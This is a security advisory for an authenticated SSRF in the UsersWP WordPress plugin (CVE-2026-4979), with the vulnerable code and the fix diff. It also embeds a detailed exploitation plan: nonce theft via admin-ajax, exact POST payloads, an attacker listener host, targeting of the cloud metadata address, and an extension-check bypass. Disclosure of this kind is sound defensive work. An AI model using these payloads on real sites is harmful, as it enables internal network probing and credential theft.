UsersWP <= 1.2.58 - Authenticated (Subscriber+) Server-Side Request Forgery via 'uwp_crop' Parameter
Description
The UsersWP – Front-end login form, User Registration, User Profile & Members Directory plugin for WP plugin for WordPress is vulnerable to blind Server-Side Request Forgery in all versions up to, and including, 1.2.58. This is due to insufficient URL origin validation in the process_image_crop() method when processing avatar/banner image crop operations. The function accepts a user-controlled URL via the uwp_crop POST parameter and only validates it using esc_url() for sanitization and wp_check_filetype() for extension verification, without enforcing that the URL references a local uploads file. The URL is then passed to uwp_resizeThumbnailImage() which uses it in PHP image processing functions (getimagesize(), imagecreatefrom*()) that support URL wrappers and perform outbound HTTP requests. This makes it possible for authenticated attackers with subscriber-level access and above to coerce the WordPress server into making arbitrary HTTP requests to attacker-controlled or internal network destinations, enabling internal network scanning and potential access to sensitive services.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v1.2.59
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-4979 (UsersWP SSRF) ## 1. Vulnerability Summary The UsersWP plugin for WordPress is vulnerable to a blind Server-Side Request Forgery (SSRF) in the `process_image_crop()` method within the `UsersWP_Forms` class. The vulnerability arises because the plugin allo…
Show full research plan
Exploitation Research Plan: CVE-2026-4979 (UsersWP SSRF)
1. Vulnerability Summary
The UsersWP plugin for WordPress is vulnerable to a blind Server-Side Request Forgery (SSRF) in the process_image_crop() method within the UsersWP_Forms class. The vulnerability arises because the plugin allows users to provide a URL for image cropping via the uwp_crop parameter without verifying that the URL points to a local file or an authorized domain. While it performs basic sanitization using esc_url() and extension checking via wp_check_filetype(), it fails to restrict the scheme to local paths or validate the host. The URL is subsequently passed to image processing functions (like getimagesize() or imagecreatefrom*()) which follow URL wrappers, allowing an authenticated attacker to trigger outbound HTTP requests from the WordPress server.
2. Attack Vector Analysis
- Endpoint: Any front-end page where the UsersWP form handler is active (typically the User Profile page or any page during an
inithook). - Action/Hook: The
UsersWP_Forms::handler()method is hooked to handle POST submissions. - Vulnerable Parameter:
uwp_crop(POST parameter). - Required Trigger:
uwp_avatar_croporuwp_banner_cropmust be present in the POST body to trigger the logic. - Authentication: Authenticated (Subscriber-level or higher).
- Preconditions: A valid nonce for the action
uwp_crop_nonce_avataroruwp_crop_nonce_banneris required.
3. Code Flow
- Entry Point: A POST request is sent to the WordPress site.
- Handler:
UsersWP_Forms::handler()(inincludes/class-forms.php) detects the presence of$_POST['uwp_avatar_crop']. - Vulnerable Method:
handler()calls$this->process_image_crop($_POST, 'avatar', true). - Insecure Validation:
- Inside
process_image_crop(), theuwp_cropvalue is taken from$data['uwp_crop']. - It calls
$image_url = $this->normalize_url( esc_url( $data['uwp_crop'] ) );. - It calls
$filetype = wp_check_filetype( $image_url );which only checks if the string ends in a common image extension (e.g.,.jpg,.png).
- Inside
- Sink: The code proceeds to process
$image_url. Although truncated in the provided source, the description confirms it passes this URL touwp_resizeThumbnailImage(), which executes PHP image functions that support wrappers (likehttp://), triggering the SSRF.
4. Nonce Acquisition Strategy
The nonce is generated dynamically and can be retrieved by an authenticated user via an AJAX call designed to load the crop modal.
- Identify AJAX Action: The plugin defines
uwp_ajax_image_crop_popup_formto return the cropping form (seeassets/js/users-wp.js). - Trigger Form Generation: Call the AJAX endpoint as the authenticated user.
- JavaScript Context: The localization object is
uwp_localize_data. - Step-by-Step Acquisition:
- Create a Subscriber user and log in.
- Use
http_requestto calladmin-ajax.phpwithaction=uwp_ajax_image_crop_popup_form&type=avatar. - Parse the HTML response for the hidden input field:
<input type="hidden" name="uwp_crop_nonce" value="...">.
5. Exploitation Strategy
This is a Blind SSRF. We will verify it by causing the server to request an external listener or an internal resource.
- Step 1: Authentication: Log in as a Subscriber.
- Step 2: Get Nonce:
- Request:
POST /wp-admin/admin-ajax.php - Body:
action=uwp_ajax_image_crop_popup_form&type=avatar - Extract: Value of
uwp_crop_nonce.
- Request:
- Step 3: Trigger SSRF:
- Request:
POST /(or the profile page URL) - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
uwp_avatar_crop=1& uwp_crop=http://INTERNAL_OR_EXTERNAL_TARGET/test.png& uwp_crop_nonce=[EXTRACTED_NONCE]& x=0&y=0&w=100&h=100 - Note: The URL in
uwp_cropmust end in a valid image extension (like.png) to pass thewp_check_filetype()check.
- Request:
- Target Selection: Use a collaborator/webhook URL to confirm outbound connectivity. For internal scanning, target
http://localhost:port/filename.png.
6. Test Data Setup
- Users: Create a user with the
subscriberrole.wp user create attacker attacker@example.com --role=subscriber --user_pass=password
- Plugin Configuration: Ensure UsersWP is active. The default "Profile" page should exist.
- Target URL: Prepare a listener (e.g.,
http://attacker-controlled.com/ssrf_check.png).
7. Expected Results
- HTTP Response: The server will likely return a 200 OK or a redirect, but the processing happens in the background.
- Successful Hit: The listener at
http://attacker-controlled.com/ssrf_check.pngwill receive an HTTP GET request with the User-Agent of the WordPress server's PHP environment (e.g.,WordPress/X.X; http://...). - Error Handling: If the target does not return a valid image,
UsersWP_Formsmight return aWP_Errorviaaui()->alert(), which confirms the server attempted to read the URL.
8. Verification Steps
- Logs: Check the access logs of the listener server.
- Meta Verification: The plugin might attempt to save the "resized" image. Check the user's meta to see if
avatar_thumbcontains a reference to the processed (or failed) crop.wp usermeta get [USER_ID] avatar_thumb
9. Alternative Approaches
- Scheme Manipulation: If
httpis blocked, tryftp://orphp://filter(thoughesc_urlusually limits this). - Internal Scanning: Use the response timing or the presence of the "Something went wrong" error message to determine if an internal port is open vs. closed.
- Banner SSRF: Repeat the process using
uwp_banner_cropanduwp_crop_nonce_bannerif the avatar path is restricted. - Bypass extension check: If targeting a resource without an extension, use a query string:
http://internal-service/sensitive-data?.png.
Summary
The UsersWP plugin for WordPress is vulnerable to a blind Server-Side Request Forgery (SSRF) in the `process_image_crop()` method due to insufficient validation of the `uwp_crop` parameter. Authenticated users with subscriber-level access can provide a remote URL that the server will fetch to process during avatar or banner cropping, allowing for internal network scanning or requests to sensitive external services.
Vulnerable Code
// includes/class-forms.php lines 216-248 (handler entry points) } elseif ( isset( $_POST['uwp_avatar_crop'] ) ) { $errors = $this->process_image_crop( $_POST, 'avatar', true ); if ( ! is_wp_error( $errors ) ) { $redirect = $errors; } $message = __( 'Avatar cropped successfully.', 'userswp' ); $processed = true; } elseif ( isset( $_POST['uwp_banner_crop'] ) ) { $errors = $this->process_image_crop( $_POST, 'banner', true ); if ( ! is_wp_error( $errors ) ) { $redirect = $errors; } $message = __( 'Banner cropped successfully.', 'userswp' ); $processed = true; } --- // includes/class-forms.php lines 361-368 (vulnerable sink) // Ensure we have a valid URL with an allowed meme type. $image_url = $this->normalize_url( esc_url( $data['uwp_crop'] ) ); $filetype = wp_check_filetype( $image_url ); $errors = new WP_Error(); if ( empty( $image_url ) || empty( $filetype['ext'] ) ) { $errors->add( 'something_wrong', __( 'Something went wrong. Please contact site admin.', 'userswp' ) ); }
Security Fix
@@ -361,6 +361,11 @@ // Ensure we have a valid URL with an allowed meme type. $image_url = $this->normalize_url( esc_url( $data['uwp_crop'] ) ); $filetype = wp_check_filetype( $image_url ); + + $uploads = wp_upload_dir(); + if ( strpos( $image_url, $uploads['baseurl'] ) === false ) { + $image_url = ''; + } $errors = new WP_Error(); if ( empty( $image_url ) || empty( $filetype['ext'] ) ) {
Exploit Outline
1. Authenticate to the WordPress site as a Subscriber or any user with profile access. 2. Obtain a valid security nonce for image cropping (`uwp_crop_nonce_avatar` or `uwp_crop_nonce_banner`) by sending a POST request to `/wp-admin/admin-ajax.php` with the action `uwp_ajax_image_crop_popup_form&type=avatar`. 3. Identify a target internal or external URL to request (e.g., `http://169.254.169.254/latest/meta-data/`). 4. Append a valid image extension to the target URL if necessary (e.g., `?.png`) to pass the `wp_check_filetype` validation. 5. Send a POST request to the site's profile page (or any endpoint where the `handler` hook is active) with the following body: `uwp_avatar_crop=1&uwp_crop=[TARGET_URL]&uwp_crop_nonce=[NONCE]&x=0&y=0&w=100&h=100`. 6. The server will perform a GET request to the provided URL, confirming the SSRF. This can be verified via a listener or by observing response differences for internal network scanning.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.